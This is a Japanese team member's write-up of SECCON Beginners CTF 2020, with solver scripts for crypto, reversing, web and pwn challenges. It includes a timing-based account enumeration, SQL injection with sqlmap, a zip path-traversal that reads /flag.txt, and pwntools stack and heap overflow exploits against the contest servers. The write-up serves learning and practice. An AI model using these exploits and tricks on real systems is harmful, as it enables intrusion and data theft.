SECCON Beginners CTF 2020 write up
SECCON Beginners CTF 2020に参加しました!
(team: KO-GEKI-SHA)
今回は会社の同期を誘って参加しました。自分は1404点を入れ、順位は66位 / 1009チーム(0点は除く)でした。
だいぶ出遅れてしまいましたが,write upを書いていきます!
Misc
emoemoencode (Misc, 53 pts, 471 solves)
Do you know emo-emo-encode?
以下の暗号文が得られます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
食べ物ばかりで美味しそうですね。
「食べ物」に関連する絵文字の文字コードは近そうです。 暗号文に使われている文字の文字コードからある数を引くとフラグになるのではないでしょうか?
先頭の文字コードが0になるようにしてから,1ずつ足していきます。
with open('emoemoencode.txt', 'r') as f:
data = f.read()
i = 0
for i in range (1, 1000):
dec = ''
for c in data:
try:
dec+= chr(ord(c) - ord(data[0]) + i)
except:
continue
if 'ctf' in dec:
print(dec)
exit()
フラグが得られました!
kali@kali:~/ctf/ctf4b-2020/misc$ python3 emo.py
ctf4b{stegan0graphy_by_em000000ji}
ctf4b{stegan0graphy_by_em000000ji}
Crypto
R&B (Crypto, 52 pts, 500 solves)
Do you like rhythm and blues?
以下のソースコードが得られます。
from os import getenv
FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13(s):
# snipped
def base64(s):
# snipped
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
フラグをrot13
とbase64
を用いて暗号化しています。
rot13
で暗号化したらR
, base64
で暗号化したらB
が先頭につくようです。
復号するスクリプトを書きました。
import codecs
with open('encoded_flag', 'r') as f:
data = f.read()
while (data[0] == 'R' or data[0] == 'B'):
if data[0] == 'R':
data = codecs.decode(data[1:], 'rot13')
elif data[0] == 'B':
data = codecs.decode(data[1:].encode(), 'base64_codec')
try:
data = data.decode()
except:
pass
print(data)
実行すると,フラグが得られました。
kali@kali:~/ctf/ctf4b-2020/crypto/r_and_b$ python3 rb.py
ctf4b{rot_base_rot_base_rot_base_base}
ctf4b{rot_base_rot_base_rot_base_base}
Noisy equations (Crypto, 261 pts, 76 solves)
noise hides flag.
指定されているサーバにアクセスすると,大量の数値が返ってきます。
また,ソースコードも添付されています。
from os import getenv
from time import time
from random import getrandbits, seed
FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()
L = 256
N = len(FLAG)
def dot(A, B):
assert len(A) == len(B)
return sum([a * b for a, b in zip(A, B)])
coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]
seed(SEED)
answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]
print(coeffs)
print(answers)
乱数で行列を作り,フラグの文字との内積を計算し,最後に乱数を足しているのがわかります。
また,行列に用いられる乱数はランダムですが,最後に足す乱数はシードが固定なので値が一定なこともわかります。
サーバに2回接続し,その結果の差分を取ることで,最後に足す乱数を消すことができそうです。
すると連立1次方程式の形になるので,逆行列を求めて解くことができます。
復号するスクリプトを書きました。
# 行列の計算に用いる
import numpy as np
# あまりにも長いため割愛
coeffs1 =
answer1 =
coeffs2 =
answer2 =
ary = np.array(coeffs1)- np.array(coeffs2)
ans = np.array(answer1) - np.array(answer2)
ary = ary.astype(np.float64)
flag = np.dot(np.linalg.inv(ary),ans)
flag_list = flag.tolist()
for a in flag_list:
print(chr(round(a)),end='')
print('')
実行すると,フラグが得られました。
kali@kali:~/ctf/ctf4b-2020/crypto/noisy-equations$ python3 solve2.py
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
Reversing
mask (Reversing, 62 pts, 354 solves)
The price of mask goes down. So does the point (it's easy)!
バイナリが配られるので,実行してみます。
kali@kali:~/ctf/ctf4b-2020/rev$ ./mask
Usage: ./mask [FLAG]
kali@kali:~/ctf/ctf4b-2020/rev$ ./mask flag
Putting on masks...
ddae
bhac
Wrong FLAG. Try again.
kali@kali:~/ctf/ctf4b-2020/rev$ ./mask flag{}
Putting on masks...
ddaequ
bhacki
Wrong FLAG. Try again.
どうやら入力した文字を一文字ずつ変換しているようです。
ltrace
で比較などを行っていないか調べてみます。
kali@kali:~/ctf/ctf4b-2020/rev$ ltrace ./mask flag
strcpy(0x7fff2cd94700, "flag") = 0x7fff2cd94700
strlen("flag") = 4
puts("Putting on masks..."Putting on masks...
) = 20
puts("ddae"ddae
) = 5
puts("bhac"bhac
) = 5
strcmp("ddae", "atd4`qdedtUpetepqeUdaaeUeaqau") = 3
puts("Wrong FLAG. Try again."Wrong FLAG. Try again.
) = 23
+++ exited (status 0) +++
以下の部分で比較していることがわかります。
strcmp("ddae", "atd4`qdedtUpetepqeUdaaeUeaqau")
一致するような入力を総当りで求めます。
import subprocess
import string
enc = "atd4`qdedtUpetepqeUdaaeUeaqau"
flag = 'ctf4b{'
while flag[-1] != '}':
for c in string.printable:
tmp = flag + c
proc = subprocess.run(['./mask', tmp], check=True, stdout=subprocess.PIPE)
ans = proc.stdout.decode()
ans = ans.split("\n")[1]
if ans in enc:
flag = tmp
print(flag)
break
実行しても,フラグが得られませんでした。
kali@kali:~/ctf/ctf4b-2020/rev$ python3 mask_test.py
ctf4b{d
ctf4b{de
ctf4b{ded
ctf4b{dedt
ctf4b{dedtU
ctf4b{dedtUp
ctf4b{dedtUpe
ctf4b{dedtUpet
ctf4b{dedtUpete
ctf4b{dedtUpetep
ctf4b{dedtUpetepq
ctf4b{dedtUpetepqe
ctf4b{dedtUpetepqeU
ctf4b{dedtUpetepqeUd
ctf4b{dedtUpetepqeUda
ctf4b{dedtUpetepqeUdaa
ctf4b{dedtUpetepqeUdaae
ctf4b{dedtUpetepqeUdaaeU
ctf4b{dedtUpetepqeUdaaeUe
ctf4b{dedtUpetepqeUdaaeUea
ctf4b{dedtUpetepqeUdaaeUeaq
ctf4b{dedtUpetepqeUdaaeUeaqa
ctf4b{dedtUpetepqeUdaaeUeaqau
どうやらまだ続きがありそうです。
得られた値で,もう一度ltrace
をおこないます。
kali@kali:~/ctf/ctf4b-2020/rev$ ltrace ./mask ctf4b{dedtUpetepqeUdaaeUeaqau
strcpy(0x7ffd70c6c710, "ctf4b{dedtUpetepqeUdaaeUeaqau") = 0x7ffd70c6c710
strlen("ctf4b{dedtUpetepqeUdaaeUeaqau") = 29
puts("Putting on masks..."Putting on masks...
) = 20
puts("atd4`qdedtUpetepqeUdaaeUeaqau"atd4`qdedtUpetepqeUdaaeUeaqau
) = 30
puts("c`b bk`a``A`a`a`aaA`aaaAaaaaa"c`b bk`a``A`a`a`aaA`aaaAaaaaa
) = 30
strcmp("atd4`qdedtUpetepqeUdaaeUeaqau", "atd4`qdedtUpetepqeUdaaeUeaqau") = 0
strcmp("c`b bk`a``A`a`a`aaA`aaaAaaaaa", "c`b bk`kj`KbababcaKbacaKiacki") = -10
puts("Wrong FLAG. Try again."Wrong FLAG. Try again.
) = 23
+++ exited (status 0) +++
別の値とも比較していることがわかりました。
strcmp("c`b bk`a``A`a`a`aaA`aaaAaaaaa", "c`b bk`kj`KbababcaKbacaKiacki")
今度はここも一致するようにスクリプトを修正します。
import subprocess
import string
enc1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
enc2 = "c`b bk`kj`KbababcaKbacaKiacki"
# flag = 'ctf4b{'
flag = 'ctf4b{'
while flag[-1] != '}':
for c in string.printable:
tmp = flag + c
proc = subprocess.run(['./mask', tmp], check=True, stdout=subprocess.PIPE)
ans = proc.stdout.decode()
ans1 = ans.split("\n")[1]
ans2 = ans.split("\n")[2]
if (ans1 in enc1) and (ans2 in enc2):
flag = tmp
print(flag)
break
実行すると,フラグが得られました!
kali@kali:~/ctf/ctf4b-2020/rev$ python3 mask_solve.py
ctf4b{d
ctf4b{do
ctf4b{don
ctf4b{dont
ctf4b{dont_
ctf4b{dont_r
ctf4b{dont_re
ctf4b{dont_rev
ctf4b{dont_reve
ctf4b{dont_rever
ctf4b{dont_revers
ctf4b{dont_reverse
ctf4b{dont_reverse_
ctf4b{dont_reverse_f
ctf4b{dont_reverse_fa
ctf4b{dont_reverse_fac
ctf4b{dont_reverse_face
ctf4b{dont_reverse_face_
ctf4b{dont_reverse_face_m
ctf4b{dont_reverse_face_ma
ctf4b{dont_reverse_face_mas
ctf4b{dont_reverse_face_mask
ctf4b{dont_reverse_face_mask}
ctf4b{dont_reverse_face_mask}
他の方のwriteupを拝見しましたが,静的解析したほうが簡単そうでした。
yakisoba (Reversing, 156 pts, 144 solves)
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
問題文に automate your analysis
と書かれているので,angr
というツールを使って自動で解析してみます。
上記リンクにサンプルコードが載っています。
import angr
project = angr.Project("angr-doc/examples/defcamp_r100/r100", auto_load_libs=False)
@project.hook(0x400844)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
必要なのは正解ルートのアドレス(例では0x400844
)になります。
IDAで開いて,分岐を見てみます。
Correct!
と書いてあるほうが正解でしょう。アドレスは0x6D2
でした。(下のほうに表示されます)
サンプルコードを以下のように修正します。
import angr
project = angr.Project('./yakisoba', main_opts={'base_addr': 0x0})
@project.hook(0x6d2)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
10秒くらいで解けました!
(angr) kali@kali:~/ctf/ctf4b-2020/rev/yakisoba$ python3 yaki_solve.py
WARNING | 2020-05-25 20:44:46,546 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 8 unconstrained bytes referenced from 0x109d03d (explicit_bzero+0x8c6d in libc.so.6 (0x9d03d))
FLAG SHOULD BE: b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'
ctf4b{sp4gh3tt1_r1pp3r1n0}
Web
Spy (Web, 55 pts, 441 solves)
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
指定されたURIにアクセスすると,ログイン画面が確認できます。
特徴として,下のほうに時間が表示されています。
また,challenge page
にアクセスすると,名前の一覧が表示されます。
ここから正しい組み合わせを選択すれば,フラグが出てきそうです。
次に,配布されたソースコードを見ていきます。
import os
import time
from flask import Flask, render_template, request, session
# Database and Authentication libraries (you can't see this :p).
import db
import auth
# ====================
app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")
db.init()
employees = db.get_all_employees()
# ====================
@app.route("/", methods=["GET", "POST"])
def index():
t = time.perf_counter()
if request.method == "GET":
return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
if request.method == "POST":
name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
session["name"] = name
return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))
# ====================
@app.route("/challenge", methods=["GET", "POST"])
def challenge():
t = time.perf_counter()
if request.method == "GET":
return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))
if request.method == "POST":
answer = request.form.getlist("answer")
# If you can enumerate all accounts, I'll give you FLAG!
if set(answer) == set(account.name for account in db.get_all_accounts()):
message = app.FLAG
else:
message = "Wrong!!"
return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))
# ====================
if __name__ == '__main__':
db.init()
app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
気になるコメントが書かれています。
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
たくさんストレッチングをおこなっているようです。 この処理はログインに使用したユーザ名が存在した場合のみおこなわれます。
ストレッチングを何回やっているかはわかりませんが,この処理にはある程度時間がかかりそうです。
配布されているユーザリストの先頭からログインしていき,時間をくらべると,時間がかかるグループとかからないグループがあることがわかりました。
時間がかかったユーザ = 登録されているユーザなので,該当ユーザのみ選択してAnswer
ボタンを押すと,フラグが得られました!
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore (Web, 150 pts, 150 solves)
Search your flag!
指定されたURIにアクセスすると,ツイートの検索画面が確認できます。
ソースコードも見てみます。
package main
import (
"context"
"fmt"
"log"
"os"
"strings"
"time"
"database/sql"
"html/template"
"net/http"
"github.com/gorilla/handlers"
"github.com/gorilla/mux"
_"github.com/lib/pq"
)
var tmplPath = "./templates/"
var db *sql.DB
type Tweets struct {
Url string
Text string
Tweeted_at time.Time
}
func handler_index(w http.ResponseWriter, r *http.Request) {
tmpl, err := template.ParseFiles(tmplPath + "index.html")
if err != nil {
log.Fatal(err)
}
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
var data []Tweets
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
defer cancel()
rows, err := db.QueryContext(ctx, sql)
if err != nil{
http.Error(w, http.StatusText(500), 500)
return
}
for rows.Next() {
var text string
var url string
var tweeted_at time.Time
err := rows.Scan(&url, &text, &tweeted_at)
if err != nil {
http.Error(w, http.StatusText(500), 500)
return
}
data = append(data, Tweets{url, text, tweeted_at})
}
tmpl.Execute(w, data)
}
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
if err != nil {
log.Fatal(err)
}
}
func main() {
initialize()
r := mux.NewRouter()
r.HandleFunc("/", handler_index).Methods("GET")
http.Handle("/", r)
http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}
少し長いので,重要な箇所をぬきだします。
SQL文の組み立て処理
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
データベースの設定処理
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
if err != nil {
log.Fatal(err)
}
}
以上から,以下のことがわかります。
- SQL文の組み立てを文字列の結合でおこなっており,SQLインジェクションができそう
- フラグは
dbuser
に格納されていそう - 使用しているDBは
postgres
色々試したのですが,上手く行かなかったのでsqlmapを使いました。
--current-user
でユーザを抽出できます。
ctf4b{is_postgres_your_friend?}
次回は手動で解けるように復習しておきます。
unzip (Web, 188 pts, 118 solves)
Unzip Your .zip Archive Like a Pro.
指定されたURIにアクセスすると,zipファイルのアップロード画面が確認できます。
ソースコードが配布されていたので見ていきます。
<?php
error_reporting(0);
session_start();
// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
mkdir($user_dir);
if (!isset($_SESSION["files"]))
$_SESSION["files"] = array();
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
$filepath = $user_dir . "/" . $_GET["filename"];
header("Content-Type: text/plain");
echo file_get_contents($filepath);
die();
} else {
echo "no such file";
die();
}
}
// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
// size check of uploaded file
if ($_FILES["file"]["size"] > 1000) {
echo "the size of uploaded file exceeds 1000 bytes.";
die();
}
// try to open uploaded file as zip
$zip = new ZipArchive;
if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
echo "failed to open your zip.";
die();
}
// check the size of unzipped files
$extracted_zip_size = 0;
for ($i = 0; $i < $zip->numFiles; $i++)
$extracted_zip_size += $zip->statIndex($i)["size"];
if ($extracted_zip_size > 1000) {
echo "the total size of extracted files exceeds 1000 bytes.";
die();
}
// extract
$zip->extractTo($user_dir);
// add files to $_SESSION["files"]
for ($i = 0; $i < $zip->numFiles; $i++) {
$s = $zip->statIndex($i);
if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
$_SESSION["files"][] = $s["name"];
}
}
$zip->close();
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title></title>
</head>
<body>
<nav role="navigation">
<div class="nav-wrapper container">
<a id="logo-container" href="/" class="brand-logo">Unzip</a>
</div>
</nav>
<div class="container">
<br><br>
<h1 class="header center teal-text text-lighten-2">Unzip</h1>
<div class="row center">
<h5 class="header col s12 light">
Unzip Your .zip Archive Like a Pro
</h5>
</div>
</div>
</div>
<div class="container">
<div class="section">
<h2>Upload</h2>
<form method="post" enctype="multipart/form-data">
<div class="file-field input-field">
<div class="btn">
<span>Select .zip to Upload</span>
<input type="file" name="file">
</div>
<div class="file-path-wrapper">
<input class="file-path validate" type="text">
</div>
</div>
<button class="btn waves-effect waves-light">
Submit
<i class="material-icons right">send</i>
</button>
</form>
</div>
</div>
<div class="container">
<div class="section">
<h2>Files from Your Archive(s)</h2>
<div class="collection">
<?php foreach ($_SESSION["files"] as $filename) { ?>
<a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
<? } ?>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>
</html>
また,docker-compose.yml
も見てみます。
version: "3"
services:
nginx:
build: ./docker/nginx
ports:
- "127.0.0.1:$APP_PORT:80"
depends_on:
- php-fpm
volumes:
- ./storage/logs/nginx:/var/log/nginx
- ./public:/var/www/web
environment:
TZ: "Asia/Tokyo"
restart: always
php-fpm:
build: ./docker/php-fpm
env_file: .env
working_dir: /var/www/web
environment:
TZ: "Asia/Tokyo"
volumes:
- ./public:/var/www/web
- ./uploads:/uploads
- ./flag.txt:/flag.txt
restart: always
フラグは/flag.txt
に配置されているようです。
アップロードサービスを悪用して,このフラグを閲覧できないでしょうか?
ソースコードの以下の部分にecho file_get_contents($filepath);
という記述があります。
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
$filepath = $user_dir . "/" . $_GET["filename"];
header("Content-Type: text/plain");
echo file_get_contents($filepath);
die();
} else {
echo "no such file";
die();
}
}
$filepath
に/flag.txt
を指定できないでしょうか?
この変数は以下のように定義されており,
$filepath = $user_dir . "/" . $_GET["filename"];
$user_dir
は以下の部分に記載されています。
// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
mkdir($user_dir);
よって,$_GET["filename"]
に../../flag.txt
を指定できれば,
$filepath = "/uploads/" . session_id() . "/" . "../../flag.txt";
となり,/flag.txt
を表示させることができそうです。
実は../../flag.txt
というファイル名を含むzipファイルを作ることができます。
上の階層にflag.txtを作っておき(中身は何でもOK),下からzipコマンドを使用します。
ali@kali:~/ctf/ctf4b-2020/web/unzip/test$ ls
flag.txt test
kali@kali:~/ctf/ctf4b-2020/web/unzip/test$ tree
.
├── flag.txt
└── test
└── test
2 directories, 1 file
kali@kali:~/ctf/ctf4b-2020/web/unzip/test$ cd test/test
kali@kali:~/ctf/ctf4b-2020/web/unzip/test/test/test$ zip hoge.zip ../../flag.txt
adding: ../../flag.txt (stored 0%)
すると,../../flag.txt
が追加されたことがわかります。
後はこのzipファイルをアップロードするだけです。
アップロードするとリンクが生成されるので,
クリックすると,フラグが表示されます!
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
Pwn
Pwnに関してはソースコードと実行結果のみ載せます。
Beginner’s Stack (Pwn, 188 pts, 118 solves)
Let's learn how to abuse stack overflow!
ソースコード
from pwn import *
io = remote('bs.quals.beginners.seccon.jp', 9001)
ret = 0x00400626
win = 0x400861
payload = "A"*8*5 + p64(ret) + p64(win)
io.sendline(payload)
io.interactive()
実行結果
kali@kali:~/ctf/ctf4b-2020/pwn/beginners_stack$ python solve.py
[+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done
[*] Switching to interactive mode
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffc18a66f10 | 0x00007ff72b8a49a0 | <-- buf
+--------------------+
0x00007ffc18a66f18 | 0x0000000000000000 |
+--------------------+
0x00007ffc18a66f20 | 0x0000000000000000 |
+--------------------+
0x00007ffc18a66f28 | 0x00007ff72babd170 |
+--------------------+
0x00007ffc18a66f30 | 0x00007ffc18a66f40 | <-- saved rbp (vuln)
+--------------------+
0x00007ffc18a66f38 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffc18a66f40 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffc18a66f48 | 0x00007ff72b4c4b97 | <-- return address (main)
+--------------------+
0x00007ffc18a66f50 | 0x0000000000000001 |
+--------------------+
0x00007ffc18a66f58 | 0x00007ffc18a67028 |
+--------------------+
Input:
[ Address ] [ Stack ]
+--------------------+
0x00007ffc18a66f10 | 0x4141414141414141 | <-- buf
+--------------------+
0x00007ffc18a66f18 | 0x4141414141414141 |
+--------------------+
0x00007ffc18a66f20 | 0x4141414141414141 |
+--------------------+
0x00007ffc18a66f28 | 0x4141414141414141 |
+--------------------+
0x00007ffc18a66f30 | 0x4141414141414141 | <-- saved rbp (vuln)
+--------------------+
0x00007ffc18a66f38 | 0x0000000000400626 | <-- return address (vuln)
+--------------------+
0x00007ffc18a66f40 | 0x0000000000400861 | <-- saved rbp (main)
+--------------------+
0x00007ffc18a66f48 | 0x00007ff72b4c4b0a | <-- return address (main)
+--------------------+
0x00007ffc18a66f50 | 0x0000000000000001 |
+--------------------+
0x00007ffc18a66f58 | 0x00007ffc18a67028 |
+--------------------+
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
Beginner’s Heap (Pwn, 293 pts, 62 solves)
Let's learn how to abuse heap overflow!
ソースコード
なぜか一部自動化できない処理があったので,
interactive()
を挟んで手動で操作をおこないました。
ヒントを見て値を調節しての繰り返しで解いたので,最適解では無いです。
from pwn import *
io =remote('bh.quals.beginners.seccon.jp', 9002)
free_hook = p64(0x7f925332a8e8)
win = p64(0x556ec09d2465)
io.recvuntil(b'hook>: ')
free_hook = io.recvline().strip()
free_hook = int(free_hook.decode()[2:],16)
io.recvuntil(b'win>: ')
win = io.recvline().strip()
win = int(win.decode()[2:],16)
print(free_hook,win)
io.sendlineafter(b'> ', b'2')
io.sendline(b'a'*4)
#ここでfreeをおこなう。終わったらctrl+cで処理を進めること
io.interactive()
io.sendline(b'1')
io.sendline(b'a'*8*3 + p64(0x110) + p64(free_hook))
# ここでBをmallocしてすぐfreeにする。
io.interactive()
io.sendline(b'2')
io.sendline(p64(win))
#最後にfreeをする。
io.interactive()
実行結果
kali@kali:~/ctf/ctf4b-2020/pwn$ python3 heap2.py
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
139956446386408 94554282108005
[*] Switching to interactive mode
function and you'll get the flag.
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $
[*] Interrupted
[*] Switching to interactive mode
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 2
$
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $
[*] Interrupted
[*] Switching to interactive mode
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
感想
実は去年のSECCON Beginners CTFが初体験でした。
その時は200位ぐらいだったので,成長できているようで良かったです。
来年はより高順位を目指したいですね。